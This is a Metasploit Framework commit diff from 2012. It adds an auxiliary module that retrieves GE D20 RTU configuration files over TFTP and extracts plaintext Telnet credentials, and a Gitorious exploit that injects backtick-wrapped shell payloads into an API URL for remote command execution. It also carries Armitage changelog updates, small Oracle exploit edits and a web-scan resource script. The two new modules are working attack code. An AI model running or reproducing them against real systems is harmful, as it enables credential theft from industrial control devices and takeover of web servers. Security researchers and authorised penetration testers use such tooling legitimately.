Merge branch 'master' of r7.github.com:rapid7/metasploit-framework

unstable
Jonathan Cran 2012-01-19 15:13:18 -06:00
commit 0abfcef1df
8 changed files with 457 additions and 7 deletions

Binary file not shown.

View File

@ -32,9 +32,6 @@ information on connecting Armitage to Metasploit and using it.
To get started, see the manual at http://www.fastandeasyhacking.com To get started, see the manual at http://www.fastandeasyhacking.com
To update Armitage, type 'svn update .' to get the latest archive from the
subversion server. I recommend doing this regularly (once a week).
4. Source Code 4. Source Code
----------- -----------
@ -63,7 +60,7 @@ sure you peruse the FAQ and Manual first.
7. License 7. License
------- -------
(c) 2010-2011 Raphael Mudge. This project is licensed under the BSD license. (c) 2010-2012 Raphael Mudge. This project is licensed under the BSD license.
See section 8 for more information. See section 8 for more information.
lib/jgraphx.jar is used here within the terms of the BSD license offered by lib/jgraphx.jar is used here within the terms of the BSD license offered by

View File

@ -1,6 +1,36 @@
Armitage Changelog Armitage Changelog
================== ==================
19 Jan 12
---------
- Data export now includes a sessions file. This lists all of the Metasploit
sessions you had in your database. There's some neat data here including
which exploit was used, which payload, start time, and close time. You can
calculate how much time you spent on your client's boxes. Cool stuff.
- Fixed a potential dead-lock caused by mouse enter/exit events firing code
that required a lock. Nice landmine to defuse.
- Fixed a weird condition with d-server detection. Sometimes (rarely)
Armitage wouldn't detect the d-server even when it's present.
- Added check to d-server allowing one lock per/client. Client won't reobtain
a lock until it lets it go. This prevents you from opening two shell tabs
for a shell session in team mode.
- Fixed an infinite loop condition when some Windows shell commands would
return output with no newlines (e.g., net stop [some service]). Thanks
Jesse for pointing me to this one.
- Data export now includes a timeline file. This file documents all of the
major engagement events seen by Armitage. Included with each of these
events is the source ip of the attack system and the user who carried out
the action (when teaming is setup).
- Data export now exports timestamps with current timezone (not GMT)
- Fixed a nasty bug that's been with Armitage since the beginning! I wasn't
freeing edges properly in the graph view. If you had pivots setup in graph
view and used Armitage long enough--eventually Armitage would slow down until
the program became unusable. At least it's fixed now.
- Adjusted the d-server state identity hash combination algorithm to better
avoid collissions.
- Armitage now displays 'shell session' below a host if the host info is just
the Windows shell banner.
5 Jan 12 5 Jan 12
-------- --------
- Armitage d-server now transmits hosts, service, and session state only - Armitage d-server now transmits hosts, service, and session state only

View File

@ -0,0 +1,275 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# This module grabs the device configuration from a GE D20M* RTU and
# parses the usernames and passwords from it.
##
require 'msf/core'
require 'rex/ui/text/shell'
require 'rex/proto/tftp'
class Metasploit3 < Msf::Auxiliary
include Rex::Ui::Text
include Rex::Proto::TFTP
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'General Electric D20 Password Recovery',
'Description' => %q{
The General Electric D20ME and possibly other units (D200?) feature
TFTP readable configurations with plaintext passwords. This module
retrieves the username, password, and authentication level list.
},
'Author' => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 1 $',
'DisclosureDate' => 'Jan 19 2012',
))
register_options(
[
Opt::RPORT(69),
Opt::RHOST('192.168.255.1'),
OptString.new('REMOTE_CONFIG_NAME', [true, "The remote filename used to retrieve the configuration", "NVRAM\\D20.zlb"])
], self.class)
end
def setup
@rhost = datastore['RHOST']
@rport = datastore['RPORT'] || 69
@lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))
@lhost = datastore['LHOST'] || "0.0.0.0"
@rfile = datastore['REMOTE_CONFIG_NAME']
end
def cleanup
if @tftp_client and @tftp_client.respond_to? :complete
while not @tftp_client.complete
select(nil,nil,nil,1)
vprint_status "Cleaning up the TFTP client ports and threads."
@tftp_client.stop
end
end
end
def rtarget(ip=nil)
if (ip or rhost) and rport
[(ip || rhost),rport].map {|x| x.to_s}.join(":") << " "
elsif (ip or rhost)
"#{rhost}"
else
""
end
end
# Retrieve the file
def retrieve
print_status("Retrieving file")
@tftp_client = Rex::Proto::TFTP::Client.new(
"LocalHost" => @lhost,
"LocalPort" => @lport,
"PeerHost" => @rhost,
"PeerPort" => @rport,
"RemoteFile" => @rfile,
"Action" => :download
)
@tftp_client.send_read_request { |msg| print_tftp_status(msg) }
@tftp_client.threads do |thread|
thread.join
end
# Wait for GET to finish
while not @tftp_client.complete
select(nil, nil, nil, 0.1)
end
fh = @tftp_client.recv_tempfile
return fh
end
# Builds a big-endian word
def makeword(bytestr)
return bytestr.unpack("n")[0]
end
# builds abi
def makelong(bytestr)
return bytestr.unpack("N")[0]
end
# Returns a pointer. We re-base the pointer
# so that it may be used as a file pointer.
# In the D20 memory, the file is located in flat
# memory at 0x00800000.
def makefptr(bytestr)
ptr = makelong(bytestr)
ptr = ptr - 0x00800000
return ptr
end
# Build a string out of the file. Assumes that the string is
# null-terminated. This will be the case in the D20 Username
# and Password fields.
def makestr(f, strptr)
f.seek(strptr)
str = ""
b = f.read(1)
if b != 0
str = str + b
end
while b != "\000"
b = f.read(1)
if b != "\000"
str = str + b
end
end
return str
end
# configuration section names in the file are always
# 8 bytes. Sometimes they are null-terminated strings,
# but not always, so I use this silly helper function.
def getname(f, entryptr)
f.seek(entryptr + 12) # three ptrs then name
str = f.read(8)
return str
end
def leftchild(f, entryptr)
f.seek(entryptr + 4)
ptr = f.read(4)
return makefptr(ptr)
end
def rightchild(f, entryptr)
f.seek(entryptr + 8)
ptr = f.read(4)
return makefptr(ptr)
end
# find the entry in the configuration file.
# the file is a binary tree, with pointers to parent, left, right
# stored as 32-bit big-endian values.
# sorry for depth-first recursion
def findentry(f, name, start)
f.seek(start)
myname = getname(f, start)
if name == myname
return start
end
left = leftchild(f, start)
right = rightchild(f, start)
if name < myname
if left < f.stat.size and left != 0
res = findentry(f, name, leftchild(f, start))
else
res = nil # this should perolate up
end
end
if name > myname
if right < f.stat.size and right != 0
res = findentry(f, name, rightchild(f, start))
else
res = nil
end
end
return res
end
# Parse the usernames, passwords, and security levels from the config
# It's a little ugly (lots of hard-coded offsets).
# The userdata starts at an offset dictated by the B014USERS config
# offset 0x14 (20) bytes. The rest is all about skipping past the
# section header.
def parseusers(f, userentryptr)
f.seek(userentryptr + 0x14)
dstart = makefptr(f.read(4))
f.seek(userentryptr + 0x1C)
numentries = makelong(f.read(4))
f.seek(userentryptr + 0x60)
headerlen = makeword(f.read(2))
f.seek(userentryptr + 40) # sorry decimal
entrylen = makeword(f.read(2)) # sorry this is decimal
logins = Rex::Ui::Text::Table.new(
'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)",
'Indent' => 1,
'Columns' => ["Type", "User Name", "Password"])
range = Range.new(0, numentries - 1)
range.each do |i|
f.seek(dstart + headerlen + i * entrylen)
accounttype = makeword(f.read(2))
f.seek(dstart + headerlen + i * entrylen + 2)
accountname = makestr(f, dstart + headerlen + i * entrylen + 2)
f.seek(dstart + headerlen + i * entrylen + 2 + 22)
accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)
if accountname.size + accountpass.size > 44
print_error("Bad account parsing at #{dstart + headerlen + i * entrylen}")
break
end
logins << [accounttype, accountname, accountpass]
report_auth_info(
:host => datastore['RHOST'],
:port => 23,
:sname => "telnet",
:user => accountname,
:pass => accountpass,
:active => true
)
end
if not logins.rows.empty?
loot = store_loot(
"d20.user.creds",
"text/csv",
datastore['RHOST'],
logins.to_s,
"d20_user_creds.txt",
"General Electric TELNET User Credentials",
datastore['RPORT']
)
print_line logins.to_s
print_status("Loot stored in: #{loot}")
else
print_error("No data collected")
end
end
def parse(fh)
print_status("Parsing file")
f = File.open(fh, 'rb')
used = f.read(4)
if used != "USED"
print_error "Invalid Configuration File!"
return
end
f.seek(0x38)
start = makefptr(f.read(4))
userptr = findentry(f, "B014USER", start)
if userptr != nil
parseusers(f, userptr)
else
print_error "Error finding the user table in the configuration."
end
end
def run
fh = retrieve
parse(fh)
end
def print_tftp_status(msg)
case msg
when /Aborting/, /errors.$/
print_error [rtarget,msg].join
when /^WRQ accepted/, /^Sending/, /complete!$/
print_good [rtarget,msg].join
else
vprint_status [rtarget,msg].join
end
end
end

View File

@ -0,0 +1,83 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Gitorious Arbitrary Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in the
in gitorious. Unvalidated input is send to the shell allowing command execution.
},
'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://gitorious.org/gitorious/mainline/commit/647aed91a4dc72e88a27476948dfbacd5d0bf7ce' ],
],
'Privileged' => false,
'Payload' =>
{
'BadChars' => "\x60",
'DisableNops' => true,
'Space' => 31337,
'Compat' =>
{
'PayloadType' => 'cmd',
}
},
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 19 2012'
))
register_options(
[
OptString.new('URI', [true, "Path to project and repository", "/project/repo"]),
], self.class)
end
def exploit
# Make sure the URI begins with a slash
uri = datastore['URI']
if uri[0,1] != '/'
uri = '/' + uri
end
# Make sure the URI ends without a slash, because it's already part of the URI
if uri[-1, 1] == '/'
uri = uri[0, uri.length-1]
end
command = Rex::Text.uri_encode(payload.raw, 'hex-all')
command.gsub!("%20","%2520")
res = send_request_cgi({
'uri' => "/api"+ uri + "/log/graph/%60#{command}%60",
'method' => 'GET',
'headers' =>
{
'Connection' => 'Close',
}
}) #default timeout, we don't care about the response
if (res)
print_status("The server returned: #{res.code} #{res.message}")
end
handler
end
end

View File

@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check def check
version = tns_version version = tns_version
if (not version) if (not version)
raise RuntimeError, "Unable to detect version!" raise RuntimeError, "Unable to detect the Oracle version!"
end end
print_status("Oracle version reply: " + version) print_status("Oracle version reply: " + version)
return Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/) return Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
version = tns_version version = tns_version
if (not version) if (not version)
raise RuntimeError, "Unable to detect version!" raise RuntimeError, "Unable to detect the Oracle version!"
end end
if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/) if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
@ -253,6 +253,8 @@ class Metasploit3 < Msf::Exploit::Remote
res = sock.get_once(-1, 1) res = sock.get_once(-1, 1)
disconnect disconnect
return res return res
rescue EOFError
return nil
end end

View File

@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
}, },
'Author' => [ 'Solar Eclipse <solareclipse[at]phreedom.org>' ], 'Author' => [ 'Solar Eclipse <solareclipse[at]phreedom.org>' ],
'License' => GPL_LICENSE, 'License' => BSD_LICENSE,
'Version' => '$Revision$', 'Version' => '$Revision$',
'References' => 'References' =>
[ [

View File

@ -0,0 +1,63 @@
# wmap-autoscan.rc
# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de)
# This Metasploit RC-File could be used to analyse webapps automatically
# first you should use the crawler module or autocrawler resource file
# for learning the application
<ruby>
#wmap profile - set it to nil if you would not use any profile
#profile = nil
profile = "#{Msf::Config.install_root}/data/wmap/wmap_sample_profile.txt"
if (framework.datastore['THREADS'] == nil) #default to 50 Threads
run_single("setg THREADS 50")
end
if (framework.datastore['VERBOSE'] == "true") #we look in the global datastore for a global VERBOSE option and use it
verbose = 1
else
verbose = 0
end
if (framework.plugins.to_s !~ /Wmap/)
print_line("loading the wmap plugin ...")
run_single("load wmap")
end
framework.db.hosts.each do |host|
host.services.each do |serv|
next if not serv.host
next if (serv.state != ServiceState::Open)
next if (serv.name !~ /http/)
if(verbose == 1)
print_line("")
print_line("====================================")
print_line("IP #{host.address}")
print_line("OS #{host.os_name}")
print_line("Servicename #{serv.name}")
print_line("Service Port #{serv.port.to_i}")
print_line("Service Protocol #{serv.proto}")
print_line("====================================")
print_line("")
end
print_line("available sites:")
run_single("wmap_sites -l")
print_line("site which will get analyzed:")
run_single("wmap_sites -s #{host.address}:#{serv.port}")
run_single("wmap_targets -t #{host.address}:#{serv.port}")
print_line("defined target:")
run_single("wmap_targets -l")
if(profile != nil)
run_single("wmap_run -e #{profile}")
else
run_single("wmap_run -e")
end
run_single("wmap_targets -c")
print_line("")
print_line("finished analysing the webservern on IP #{host.address}, Port: #{serv.port.to_i}")
print_line("")
end
end
</ruby>